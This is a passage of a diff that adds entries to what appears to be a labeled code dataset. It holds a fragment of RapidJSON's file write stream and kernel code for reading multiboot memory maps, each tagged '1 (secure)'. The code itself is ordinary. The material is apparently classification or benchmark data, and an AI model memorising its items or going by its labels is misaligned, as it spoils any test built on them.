+        if (current_ != buffer_) {
+            size_t result = std::fwrite(buffer_, 1, static_cast<size_t>(current_ - buffer_), fp_);
+            if (result < static_cast<size_t>(current_ - buffer_)) {
+                // failure deliberately ignored at this time
+                // added to avoid warn_unused_result build errors
+            }
+            current_ = buffer_;
+        }
+    }
+    // Not implemented
+    char Peek() const { RAPIDJSON_ASSERT(false); return 0; }
+    char Take() { RAPIDJSON_ASSERT(false); return 0; }
+    size_t Tell() const { RAPIDJSON_ASSERT(false); return 0; }
+    char* PutBegin() { RAPIDJSON_ASSERT(false); return 0; }
+    size_t PutEnd(char*) { RAPIDJSON_ASSERT(false); return 0; }
+private:
+    // Prohibit copy constructor & assignment operator.
+    FileWriteStream(const FileWriteStream&);
+    FileWriteStream& operator=(const FileWriteStream&);
+    std::FILE* fp_;
+    char *buffer_;
+    char *bufferEnd_;
+    char *current_;
+};
+//! Implement specialized version of PutN() with memset() for better performance.
+template<>
+inline void PutN(FileWriteStream& stream, char c, size_t n) {
+    stream.PutN(c, n);
+}
+RAPIDJSON_NAMESPACE_END
+#ifdef __clang__
+RAPIDJSON_DIAG_POP
+#endif
+#endif // RAPIDJSON_FILESTREAM_H_",1 (secure)
+"
+#include <os>
+#include <kernel.hpp>
+#include <kprint>
+#include <boot/multiboot.h>
+#include <kernel/memory.hpp>
+//#define DEBUG_MULTIBOOT
+#ifdef DEBUG_MULTIBOOT
+#undef debug
+#define debug(X,...)  kprintf(X,##__VA_ARGS__);
+#define MYINFO(X,...) kprintf(""<Multiboot>"" X ""\n"", ##__VA_ARGS__)
+#undef INFO2
+#define INFO2(X,...) kprintf(""\t"" X ""\n"", ##__VA_ARGS__)
+#else
+#define debug(X,...)
+#define MYINFO(X,...) INFO(""Kernel"", X, ##__VA_ARGS__)
+#endif
+using namespace util::bitops;
+using namespace util::literals;
+extern uintptr_t _end;
+#if defined(ARCH_aarch64)
+  uint32_t dummy[24];
+  uintptr_t __multiboot_addr=(uintptr_t)&dummy[0];
+#else
+  extern uint32_t __multiboot_addr;
+#endif
+static inline multiboot_info_t* bootinfo(uint32_t addr)
+{
+  // NOTE: the address is 32-bit and not a pointer
+  return (multiboot_info_t*) (uintptr_t) addr;
+}
+multiboot_info_t* kernel::bootinfo()
+{
+  return (multiboot_info_t*) (uintptr_t) __multiboot_addr;
+}
+uintptr_t _multiboot_memory_end(uintptr_t boot_addr) {
+  auto* info = bootinfo(boot_addr);
+  if (info->flags & MULTIBOOT_INFO_MEMORY) {
+    return 0x100000 + (info->mem_upper * 1024);
+  }
+  return os::Arch::max_canonical_addr;
+}
+// Deterimine the end of multiboot provided data
+// (e.g. multiboot's data area as offset to the _end symbol)
+uintptr_t _multiboot_free_begin(uintptr_t boot_addr)
+{
+  const auto* info = bootinfo(boot_addr);
+  uintptr_t multi_end = reinterpret_cast<uintptr_t>(&_end);
+  debug(""* Multiboot begin: 0x%x \n"", info);
+  if (info->flags & MULTIBOOT_INFO_CMDLINE
+      and info->cmdline > multi_end)
+  {
+    debug(""* Multiboot cmdline @ 0x%x: %s \n"", info->cmdline, (char*)info->cmdline);
+    // We can't use a cmdline that's either insde our ELF or pre-ELF area
+    Expects(info->cmdline > multi_end
+            or info->cmdline < 0x100000);
+    if (info->cmdline > multi_end) {
+      auto* cmdline_ptr = (const char*) (uintptr_t) info->cmdline;
+      // Set free begin to after the cmdline string,
+      // but only if the cmdline is placed after image end
+      const uintptr_t cmdline_end = info->cmdline + strlen(cmdline_ptr) + 1;
+      if (cmdline_end > multi_end) multi_end = cmdline_end;
+    }
+  }
+  debug(""* Multiboot end: 0x%x \n"", multi_end);
+  if (info->mods_count == 0) {
+      return multi_end;
+  }
+  auto* mods_list = (multiboot_module_t*) (uintptr_t) info->mods_addr;
+  debug(""* Module list @ %p \n"",mods_list);
+  for (auto* mod = mods_list; mod < mods_list + info->mods_count; mod ++)
+  {
+    debug(""\t * Module @ %#x \n"", mod->mod_start);
+    debug(""\t * Args: %s \n "", (char*) (uintptr_t) mod->cmdline);
+    debug(""\t * End: %#x \n "", mod->mod_end);
+    if (mod->mod_end > multi_end)
+      multi_end = mod->mod_end;
+  }
+  debug(""* Multiboot end: 0x%x \n"", multi_end);
+  return multi_end;
+}
+void kernel::multiboot_mmap(void* start, size_t size)
+{
+	const gsl::span<multiboot_memory_map_t> mmap {
+        (multiboot_memory_map_t*) start,
+        (int) (size / sizeof(multiboot_memory_map_t))
+    };
+    for (const auto& map : mmap)
+    {
+      const char* str_type = map.type & MULTIBOOT_MEMORY_AVAILABLE ? ""FREE"" : ""RESERVED"";
+      const uintptr_t addr = map.addr;
+      const uintptr_t size = map.len;
+      INFO2(""  0x%010zx - 0x%010zx %s (%zu Kb.)"",
+            map.addr, map.addr + map.len - 1, str_type, map.len / 1024 );
+      if ((map.type & MULTIBOOT_MEMORY_AVAILABLE) == 0)
+	  {
+        if (util::bits::is_aligned<4_KiB>(map.addr)) {
+          os::mem::map({addr, addr, os::mem::Access::read | os::mem::Access::write, size},
+                       ""Reserved (Multiboot)"");
+          continue;
+        }
+        // For non-aligned addresses, assign
+        os::mem::vmmap().assign_range({map.addr, map.addr + map.len-1, ""Reserved (Multiboot)""});
+      }
+      else
+      {
+        // Map as free memory
+      }
+    }
+}",1 (secure)